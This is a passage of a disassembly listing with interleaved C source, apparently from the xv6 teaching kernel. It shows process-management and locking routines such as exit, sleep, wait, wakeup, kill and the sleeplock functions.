80103a6b: 5e pop %esi 80103a6c: 5d pop %ebp 80103a6d: c3 ret panic("sched ptable.lock"); 80103a6e: c7 04 24 70 71 10 80 movl $0x80107170,(%esp) 80103a75: e8 e6 c8 ff ff call 80100360 <panic> panic("sched interruptible"); 80103a7a: c7 04 24 9c 71 10 80 movl $0x8010719c,(%esp) 80103a81: e8 da c8 ff ff call 80100360 <panic> panic("sched running"); 80103a86: c7 04 24 8e 71 10 80 movl $0x8010718e,(%esp) 80103a8d: e8 ce c8 ff ff call 80100360 <panic> panic("sched locks"); 80103a92: c7 04 24 82 71 10 80 movl $0x80107182,(%esp) 80103a99: e8 c2 c8 ff ff call 80100360 <panic> 80103a9e: 66 90 xchg %ax,%ax 80103aa0 <exit>: { 80103aa0: 55 push %ebp 80103aa1: 89 e5 mov %esp,%ebp 80103aa3: 56 push %esi if(curproc == initproc) 80103aa4: 31 f6 xor %esi,%esi { 80103aa6: 53 push %ebx 80103aa7: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103aaa: e8 f1 fb ff ff call 801036a0 <myproc> if(curproc == initproc) 80103aaf: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax struct proc *curproc = myproc(); 80103ab5: 89 c3 mov %eax,%ebx if(curproc == initproc) 80103ab7: 0f 84 ea 00 00 00 je 80103ba7 <exit+0x107> 80103abd: 8d 76 00 lea 0x0(%esi),%esi if(curproc->ofile[fd]){ 80103ac0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103ac4: 85 c0 test %eax,%eax 80103ac6: 74 10 je 80103ad8 <exit+0x38> fileclose(curproc->ofile[fd]); 80103ac8: 89 04 24 mov %eax,(%esp) 80103acb: e8 60 d3 ff ff call 80100e30 <fileclose> curproc->ofile[fd] = 0; 80103ad0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4) 80103ad7: 00 for(fd = 0; fd < NOFILE; fd++){ 80103ad8: 83 c6 01 add $0x1,%esi 80103adb: 83 fe 10 cmp $0x10,%esi 80103ade: 75 e0 jne 80103ac0 <exit+0x20> begin_op(); 80103ae0: e8 2b f0 ff ff call 80102b10 <begin_op> iput(curproc->cwd); 80103ae5: 8b 43 68 mov 0x68(%ebx),%eax 80103ae8: 89 04 24 mov %eax,(%esp) 80103aeb: e8 e0 dc ff ff call 801017d0 <iput> end_op(); 80103af0: e8 8b f0 ff ff call 80102b80 <end_op> curproc->cwd = 0; 80103af5: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80103afc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103b03: e8 d8 06 00 00 call 801041e0 <acquire> wakeup1(curproc->parent); 80103b08: 8b 43 14 mov 0x14(%ebx),%eax static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b0b: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b10: eb 11 jmp 80103b23 <exit+0x83> 80103b12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103b18: 83 c2 7c add $0x7c,%edx 80103b1b: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b21: 74 1d je 80103b40 <exit+0xa0> if(p->state == SLEEPING && p->chan == chan) 80103b23: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b27: 75 ef jne 80103b18 <exit+0x78> 80103b29: 3b 42 20 cmp 0x20(%edx),%eax 80103b2c: 75 ea jne 80103b18 <exit+0x78> p->state = RUNNABLE; 80103b2e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b35: 83 c2 7c add $0x7c,%edx 80103b38: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b3e: 75 e3 jne 80103b23 <exit+0x83> p->parent = initproc; 80103b40: a1 b8 a5 10 80 mov 0x8010a5b8,%eax 80103b45: b9 54 2d 11 80 mov $0x80112d54,%ecx 80103b4a: eb 0f jmp 80103b5b <exit+0xbb> 80103b4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b50: 83 c1 7c add $0x7c,%ecx 80103b53: 81 f9 54 4c 11 80 cmp $0x80114c54,%ecx 80103b59: 74 34 je 80103b8f <exit+0xef> if(p->parent == curproc){ 80103b5b: 39 59 14 cmp %ebx,0x14(%ecx) 80103b5e: 75 f0 jne 80103b50 <exit+0xb0> if(p->state == ZOMBIE) 80103b60: 83 79 0c 05 cmpl $0x5,0xc(%ecx) p->parent = initproc; 80103b64: 89 41 14 mov %eax,0x14(%ecx) if(p->state == ZOMBIE) 80103b67: 75 e7 jne 80103b50 <exit+0xb0> 80103b69: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b6e: eb 0b jmp 80103b7b <exit+0xdb> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b70: 83 c2 7c add $0x7c,%edx 80103b73: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b79: 74 d5 je 80103b50 <exit+0xb0> if(p->state == SLEEPING && p->chan == chan) 80103b7b: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b7f: 75 ef jne 80103b70 <exit+0xd0> 80103b81: 3b 42 20 cmp 0x20(%edx),%eax 80103b84: 75 ea jne 80103b70 <exit+0xd0> p->state = RUNNABLE; 80103b86: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) 80103b8d: eb e1 jmp 80103b70 <exit+0xd0> curproc->state = ZOMBIE; 80103b8f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) sched(); 80103b96: e8 65 fe ff ff call 80103a00 <sched> panic("zombie exit"); 80103b9b: c7 04 24 bd 71 10 80 movl $0x801071bd,(%esp) 80103ba2: e8 b9 c7 ff ff call 80100360 <panic> panic("init exiting"); 80103ba7: c7 04 24 b0 71 10 80 movl $0x801071b0,(%esp) 80103bae: e8 ad c7 ff ff call 80100360 <panic> 80103bb3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103bc0 <yield>: { 80103bc0: 55 push %ebp 80103bc1: 89 e5 mov %esp,%ebp 80103bc3: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80103bc6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bcd: e8 0e 06 00 00 call 801041e0 <acquire> myproc()->state = RUNNABLE; 80103bd2: e8 c9 fa ff ff call 801036a0 <myproc> 80103bd7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80103bde: e8 1d fe ff ff call 80103a00 <sched> release(&ptable.lock); 80103be3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bea: e8 61 06 00 00 call 80104250 <release> } 80103bef: c9 leave 80103bf0: c3 ret 80103bf1: eb 0d jmp 80103c00 <sleep> 80103bf3: 90 nop 80103bf4: 90 nop 80103bf5: 90 nop 80103bf6: 90 nop 80103bf7: 90 nop 80103bf8: 90 nop 80103bf9: 90 nop 80103bfa: 90 nop 80103bfb: 90 nop 80103bfc: 90 nop 80103bfd: 90 nop 80103bfe: 90 nop 80103bff: 90 nop 80103c00 <sleep>: { 80103c00: 55 push %ebp 80103c01: 89 e5 mov %esp,%ebp 80103c03: 57 push %edi 80103c04: 56 push %esi 80103c05: 53 push %ebx 80103c06: 83 ec 1c sub $0x1c,%esp 80103c09: 8b 7d 08 mov 0x8(%ebp),%edi 80103c0c: 8b 75 0c mov 0xc(%ebp),%esi struct proc *p = myproc(); 80103c0f: e8 8c fa ff ff call 801036a0 <myproc> if(p == 0) 80103c14: 85 c0 test %eax,%eax struct proc *p = myproc(); 80103c16: 89 c3 mov %eax,%ebx if(p == 0) 80103c18: 0f 84 7c 00 00 00 je 80103c9a <sleep+0x9a> if(lk == 0) 80103c1e: 85 f6 test %esi,%esi 80103c20: 74 6c je 80103c8e <sleep+0x8e> if(lk != &ptable.lock){ //DOC: sleeplock0 80103c22: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103c28: 74 46 je 80103c70 <sleep+0x70> acquire(&ptable.lock); //DOC: sleeplock1 80103c2a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c31: e8 aa 05 00 00 call 801041e0 <acquire> release(lk); 80103c36: 89 34 24 mov %esi,(%esp) 80103c39: e8 12 06 00 00 call 80104250 <release> p->chan = chan; 80103c3e: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103c41: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103c48: e8 b3 fd ff ff call 80103a00 <sched> p->chan = 0; 80103c4d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103c54: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c5b: e8 f0 05 00 00 call 80104250 <release> acquire(lk); 80103c60: 89 75 08 mov %esi,0x8(%ebp) } 80103c63: 83 c4 1c add $0x1c,%esp 80103c66: 5b pop %ebx 80103c67: 5e pop %esi 80103c68: 5f pop %edi 80103c69: 5d pop %ebp acquire(lk); 80103c6a: e9 71 05 00 00 jmp 801041e0 <acquire> 80103c6f: 90 nop p->chan = chan; 80103c70: 89 78 20 mov %edi,0x20(%eax) p->state = SLEEPING; 80103c73: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80103c7a: e8 81 fd ff ff call 80103a00 <sched> p->chan = 0; 80103c7f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103c86: 83 c4 1c add $0x1c,%esp 80103c89: 5b pop %ebx 80103c8a: 5e pop %esi 80103c8b: 5f pop %edi 80103c8c: 5d pop %ebp 80103c8d: c3 ret panic("sleep without lk"); 80103c8e: c7 04 24 cf 71 10 80 movl $0x801071cf,(%esp) 80103c95: e8 c6 c6 ff ff call 80100360 <panic> panic("sleep"); 80103c9a: c7 04 24 c9 71 10 80 movl $0x801071c9,(%esp) 80103ca1: e8 ba c6 ff ff call 80100360 <panic> 80103ca6: 8d 76 00 lea 0x0(%esi),%esi 80103ca9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103cb0 <wait>: { 80103cb0: 55 push %ebp 80103cb1: 89 e5 mov %esp,%ebp 80103cb3: 56 push %esi 80103cb4: 53 push %ebx 80103cb5: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103cb8: e8 e3 f9 ff ff call 801036a0 <myproc> acquire(&ptable.lock); 80103cbd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *curproc = myproc(); 80103cc4: 89 c6 mov %eax,%esi acquire(&ptable.lock); 80103cc6: e8 15 05 00 00 call 801041e0 <acquire> havekids = 0; 80103ccb: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ccd: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103cd2: eb 0f jmp 80103ce3 <wait+0x33> 80103cd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cd8: 83 c3 7c add $0x7c,%ebx 80103cdb: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103ce1: 74 1d je 80103d00 <wait+0x50> if(p->parent != curproc) 80103ce3: 39 73 14 cmp %esi,0x14(%ebx) 80103ce6: 75 f0 jne 80103cd8 <wait+0x28> if(p->state == ZOMBIE){ 80103ce8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103cec: 74 2f je 80103d1d <wait+0x6d> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cee: 83 c3 7c add $0x7c,%ebx havekids = 1; 80103cf1: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cf6: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103cfc: 75 e5 jne 80103ce3 <wait+0x33> 80103cfe: 66 90 xchg %ax,%ax if(!havekids || curproc->killed){ 80103d00: 85 c0 test %eax,%eax 80103d02: 74 6e je 80103d72 <wait+0xc2> 80103d04: 8b 46 24 mov 0x24(%esi),%eax 80103d07: 85 c0 test %eax,%eax 80103d09: 75 67 jne 80103d72 <wait+0xc2> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103d0b: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp) 80103d12: 80 80103d13: 89 34 24 mov %esi,(%esp) 80103d16: e8 e5 fe ff ff call 80103c00 <sleep> } 80103d1b: eb ae jmp 80103ccb <wait+0x1b> kfree(p->kstack); 80103d1d: 8b 43 08 mov 0x8(%ebx),%eax pid = p->pid; 80103d20: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103d23: 89 04 24 mov %eax,(%esp) 80103d26: e8 c5 e5 ff ff call 801022f0 <kfree> freevm(p->pgdir); 80103d2b: 8b 43 04 mov 0x4(%ebx),%eax p->kstack = 0; 80103d2e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103d35: 89 04 24 mov %eax,(%esp) 80103d38: e8 83 2b 00 00 call 801068c0 <freevm> release(&ptable.lock); 80103d3d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103d44: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103d4b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103d52: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103d56: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103d5d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103d64: e8 e7 04 00 00 call 80104250 <release> } 80103d69: 83 c4 10 add $0x10,%esp return pid; 80103d6c: 89 f0 mov %esi,%eax } 80103d6e: 5b pop %ebx 80103d6f: 5e pop %esi 80103d70: 5d pop %ebp 80103d71: c3 ret release(&ptable.lock); 80103d72: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d79: e8 d2 04 00 00 call 80104250 <release> } 80103d7e: 83 c4 10 add $0x10,%esp return -1; 80103d81: b8 ff ff ff ff mov $0xffffffff,%eax } 80103d86: 5b pop %ebx 80103d87: 5e pop %esi 80103d88: 5d pop %ebp 80103d89: c3 ret 80103d8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103d90 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103d90: 55 push %ebp 80103d91: 89 e5 mov %esp,%ebp 80103d93: 53 push %ebx 80103d94: 83 ec 14 sub $0x14,%esp 80103d97: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103d9a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103da1: e8 3a 04 00 00 call 801041e0 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103da6: b8 54 2d 11 80 mov $0x80112d54,%eax 80103dab: eb 0d jmp 80103dba <wakeup+0x2a> 80103dad: 8d 76 00 lea 0x0(%esi),%esi 80103db0: 83 c0 7c add $0x7c,%eax 80103db3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103db8: 74 1e je 80103dd8 <wakeup+0x48> if(p->state == SLEEPING && p->chan == chan) 80103dba: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103dbe: 75 f0 jne 80103db0 <wakeup+0x20> 80103dc0: 3b 58 20 cmp 0x20(%eax),%ebx 80103dc3: 75 eb jne 80103db0 <wakeup+0x20> p->state = RUNNABLE; 80103dc5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103dcc: 83 c0 7c add $0x7c,%eax 80103dcf: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103dd4: 75 e4 jne 80103dba <wakeup+0x2a> 80103dd6: 66 90 xchg %ax,%ax wakeup1(chan); release(&ptable.lock); 80103dd8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103ddf: 83 c4 14 add $0x14,%esp 80103de2: 5b pop %ebx 80103de3: 5d pop %ebp release(&ptable.lock); 80103de4: e9 67 04 00 00 jmp 80104250 <release> 80103de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103df0 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103df0: 55 push %ebp 80103df1: 89 e5 mov %esp,%ebp 80103df3: 53 push %ebx 80103df4: 83 ec 14 sub $0x14,%esp 80103df7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103dfa: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e01: e8 da 03 00 00 call 801041e0 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e06: b8 54 2d 11 80 mov $0x80112d54,%eax 80103e0b: eb 0d jmp 80103e1a <kill+0x2a> 80103e0d: 8d 76 00 lea 0x0(%esi),%esi 80103e10: 83 c0 7c add $0x7c,%eax 80103e13: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103e18: 74 36 je 80103e50 <kill+0x60> if(p->pid == pid){ 80103e1a: 39 58 10 cmp %ebx,0x10(%eax) 80103e1d: 75 f1 jne 80103e10 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103e1f: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103e23: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103e2a: 74 14 je 80103e40 <kill+0x50> p->state = RUNNABLE; release(&ptable.lock); 80103e2c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e33: e8 18 04 00 00 call 80104250 <release> return 0; } } release(&ptable.lock); return -1; } 80103e38: 83 c4 14 add $0x14,%esp return 0; 80103e3b: 31 c0 xor %eax,%eax } 80103e3d: 5b pop %ebx 80103e3e: 5d pop %ebp 80103e3f: c3 ret p->state = RUNNABLE; 80103e40: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103e47: eb e3 jmp 80103e2c <kill+0x3c> 80103e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103e50: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e57: e8 f4 03 00 00 call 80104250 <release> } 80103e5c: 83 c4 14 add $0x14,%esp return -1; 80103e5f: b8 ff ff ff ff mov $0xffffffff,%eax } 80103e64: 5b pop %ebx 80103e65: 5d pop %ebp 80103e66: c3 ret 80103e67: 89 f6 mov %esi,%esi 80103e69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103e70 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103e70: 55 push %ebp 80103e71: 89 e5 mov %esp,%ebp 80103e73: 57 push %edi 80103e74: 56 push %esi 80103e75: 53 push %ebx 80103e76: bb c0 2d 11 80 mov $0x80112dc0,%ebx 80103e7b: 83 ec 4c sub $0x4c,%esp 80103e7e: 8d 75 e8 lea -0x18(%ebp),%esi 80103e81: eb 20 jmp 80103ea3 <procdump+0x33> 80103e83: 90 nop 80103e84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103e88: c7 04 24 57 75 10 80 movl $0x80107557,(%esp) 80103e8f: e8 bc c7 ff ff call 80100650 <cprintf> 80103e94: 83 c3 7c add $0x7c,%ebx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e97: 81 fb c0 4c 11 80 cmp $0x80114cc0,%ebx 80103e9d: 0f 84 8d 00 00 00 je 80103f30 <procdump+0xc0> if(p->state == UNUSED) 80103ea3: 8b 43 a0 mov -0x60(%ebx),%eax 80103ea6: 85 c0 test %eax,%eax 80103ea8: 74 ea je 80103e94 <procdump+0x24> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103eaa: 83 f8 05 cmp $0x5,%eax state = "???"; 80103ead: ba e0 71 10 80 mov $0x801071e0,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103eb2: 77 11 ja 80103ec5 <procdump+0x55> 80103eb4: 8b 14 85 40 72 10 80 mov -0x7fef8dc0(,%eax,4),%edx state = "???"; 80103ebb: b8 e0 71 10 80 mov $0x801071e0,%eax 80103ec0: 85 d2 test %edx,%edx 80103ec2: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80103ec5: 8b 43 a4 mov -0x5c(%ebx),%eax 80103ec8: 89 5c 24 0c mov %ebx,0xc(%esp) 80103ecc: 89 54 24 08 mov %edx,0x8(%esp) 80103ed0: c7 04 24 e4 71 10 80 movl $0x801071e4,(%esp) 80103ed7: 89 44 24 04 mov %eax,0x4(%esp) 80103edb: e8 70 c7 ff ff call 80100650 <cprintf> if(p->state == SLEEPING){ 80103ee0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80103ee4: 75 a2 jne 80103e88 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80103ee6: 8d 45 c0 lea -0x40(%ebp),%eax 80103ee9: 89 44 24 04 mov %eax,0x4(%esp) 80103eed: 8b 43 b0 mov -0x50(%ebx),%eax 80103ef0: 8d 7d c0 lea -0x40(%ebp),%edi 80103ef3: 8b 40 0c mov 0xc(%eax),%eax 80103ef6: 83 c0 08 add $0x8,%eax 80103ef9: 89 04 24 mov %eax,(%esp) 80103efc: e8 8f 01 00 00 call 80104090 <getcallerpcs> 80103f01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 80103f08: 8b 17 mov (%edi),%edx 80103f0a: 85 d2 test %edx,%edx 80103f0c: 0f 84 76 ff ff ff je 80103e88 <procdump+0x18> cprintf(" %p", pc[i]); 80103f12: 89 54 24 04 mov %edx,0x4(%esp) 80103f16: 83 c7 04 add $0x4,%edi 80103f19: c7 04 24 21 6c 10 80 movl $0x80106c21,(%esp) 80103f20: e8 2b c7 ff ff call 80100650 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 80103f25: 39 f7 cmp %esi,%edi 80103f27: 75 df jne 80103f08 <procdump+0x98> 80103f29: e9 5a ff ff ff jmp 80103e88 <procdump+0x18> 80103f2e: 66 90 xchg %ax,%ax } } 80103f30: 83 c4 4c add $0x4c,%esp 80103f33: 5b pop %ebx 80103f34: 5e pop %esi 80103f35: 5f pop %edi 80103f36: 5d pop %ebp 80103f37: c3 ret 80103f38: 66 90 xchg %ax,%ax 80103f3a: 66 90 xchg %ax,%ax 80103f3c: 66 90 xchg %ax,%ax 80103f3e: 66 90 xchg %ax,%ax 80103f40 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80103f40: 55 push %ebp 80103f41: 89 e5 mov %esp,%ebp 80103f43: 53 push %ebx 80103f44: 83 ec 14 sub $0x14,%esp 80103f47: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 80103f4a: c7 44 24 04 58 72 10 movl $0x80107258,0x4(%esp) 80103f51: 80 80103f52: 8d 43 04 lea 0x4(%ebx),%eax 80103f55: 89 04 24 mov %eax,(%esp) 80103f58: e8 13 01 00 00 call 80104070 <initlock> lk->name = name; 80103f5d: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 80103f60: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103f66: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 80103f6d: 89 43 38 mov %eax,0x38(%ebx) } 80103f70: 83 c4 14 add $0x14,%esp 80103f73: 5b pop %ebx 80103f74: 5d pop %ebp 80103f75: c3 ret 80103f76: 8d 76 00 lea 0x0(%esi),%esi 80103f79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f80 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80103f80: 55 push %ebp 80103f81: 89 e5 mov %esp,%ebp 80103f83: 56 push %esi 80103f84: 53 push %ebx 80103f85: 83 ec 10 sub $0x10,%esp 80103f88: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103f8b: 8d 73 04 lea 0x4(%ebx),%esi 80103f8e: 89 34 24 mov %esi,(%esp) 80103f91: e8 4a 02 00 00 call 801041e0 <acquire> while (lk->locked) { 80103f96: 8b 13 mov (%ebx),%edx 80103f98: 85 d2 test %edx,%edx 80103f9a: 74 16 je 80103fb2 <acquiresleep+0x32> 80103f9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 80103fa0: 89 74 24 04 mov %esi,0x4(%esp) 80103fa4: 89 1c 24 mov %ebx,(%esp) 80103fa7: e8 54 fc ff ff call 80103c00 <sleep> while (lk->locked) { 80103fac: 8b 03 mov (%ebx),%eax 80103fae: 85 c0 test %eax,%eax 80103fb0: 75 ee jne 80103fa0 <acquiresleep+0x20> } lk->locked = 1; 80103fb2: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80103fb8: e8 e3 f6 ff ff call 801036a0 <myproc> 80103fbd: 8b 40 10 mov 0x10(%eax),%eax 80103fc0: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80103fc3: 89 75 08 mov %esi,0x8(%ebp) } 80103fc6: 83 c4 10 add $0x10,%esp 80103fc9: 5b pop %ebx 80103fca: 5e pop %esi 80103fcb: 5d pop %ebp release(&lk->lk); 80103fcc: e9 7f 02 00 00 jmp 80104250 <release> 80103fd1: eb 0d jmp 80103fe0 <releasesleep> 80103fd3: 90 nop 80103fd4: 90 nop 80103fd5: 90 nop 80103fd6: 90 nop 80103fd7: 90 nop 80103fd8: 90 nop 80103fd9: 90 nop 80103fda: 90 nop 80103fdb: 90 nop 80103fdc: 90 nop 80103fdd: 90 nop 80103fde: 90 nop 80103fdf: 90 nop 80103fe0 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80103fe0: 55 push %ebp 80103fe1: 89 e5 mov %esp,%ebp 80103fe3: 56 push %esi 80103fe4: 53 push %ebx 80103fe5: 83 ec 10 sub $0x10,%esp 80103fe8: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103feb: 8d 73 04 lea 0x4(%ebx),%esi 80103fee: 89 34 24 mov %esi,(%esp) 80103ff1: e8 ea 01 00 00 call 801041e0 <acquire> lk->locked = 0; 80103ff6: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103ffc: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104003: 89 1c 24 mov %ebx,(%esp) 80104006: e8 85 fd ff ff call 80103d90 <wakeup> release(&lk->lk); 8010400b: 89 75 08 mov %esi,0x8(%ebp) } 8010400e: 83 c4 10 add $0x10,%esp 80104011: 5b pop %ebx 80104012: 5e pop %esi 80104013: 5d pop %ebp release(&lk->lk); 80104014: e9 37 02 00 00 jmp 80104250 <release> 80104019: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104020 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104020: 55 push %ebp 80104021: 89 e5 mov %esp,%ebp 80104023: 57 push %edi int r; acquire(&lk->lk); r = lk->locked && (lk->pid == myproc()->pid); 80104024: 31 ff xor %edi,%edi { 80104026: 56 push %esi 80104027: 53 push %ebx 80104028: 83 ec 1c sub $0x1c,%esp 8010402b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 8010402e: 8d 73 04 lea 0x4(%ebx),%esi 80104031: 89 34 24 mov %esi,(%esp) 80104034: e8 a7 01 00 00 call 801041e0 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 80104039: 8b 03 mov (%ebx),%eax 8010403b: 85 c0 test %eax,%eax 8010403d: 74 13 je 80104052 <holdingsleep+0x32> 8010403f: 8b 5b 3c mov 0x3c(%ebx),%ebx 80104042: e8 59 f6 ff ff call 801036a0 <myproc> 80104047: 3b 58 10 cmp 0x10(%eax),%ebx 8010404a: 0f 94 c0 sete %al 8010404d: 0f b6 c0 movzbl %al,%eax 80104050: 89 c7 mov %eax,%edi release(&lk->lk); 80104052: 89 34 24 mov %esi,(%esp) 80104055: e8 f6 01 00 00 call 80104250 <release> return r; } 8010405a: 83 c4 1c add $0x1c,%esp 8010405d: 89 f8 mov %edi,%eax 8010405f: 5b pop %ebx 80104060: 5e pop %esi 80104061: 5f pop %edi 80104062: 5d pop %ebp 80104063: c3 ret 80104064: 66 90 xchg %ax,%ax 80104066: 66 90 xchg %ax,%ax 80104068: 66 90 xchg %ax,%ax 8010406a: 66 90 xchg %ax,%ax 8010406c: 66 90 xchg %ax,%ax 8010406e: 66 90 xchg %ax,%ax 80104070 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104070: 55 push %ebp 80104071: 89 e5 mov %esp,%ebp 80104073: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104076: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104079: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 8010407f: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 80104082: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104089: 5d pop %ebp 8010408a: c3 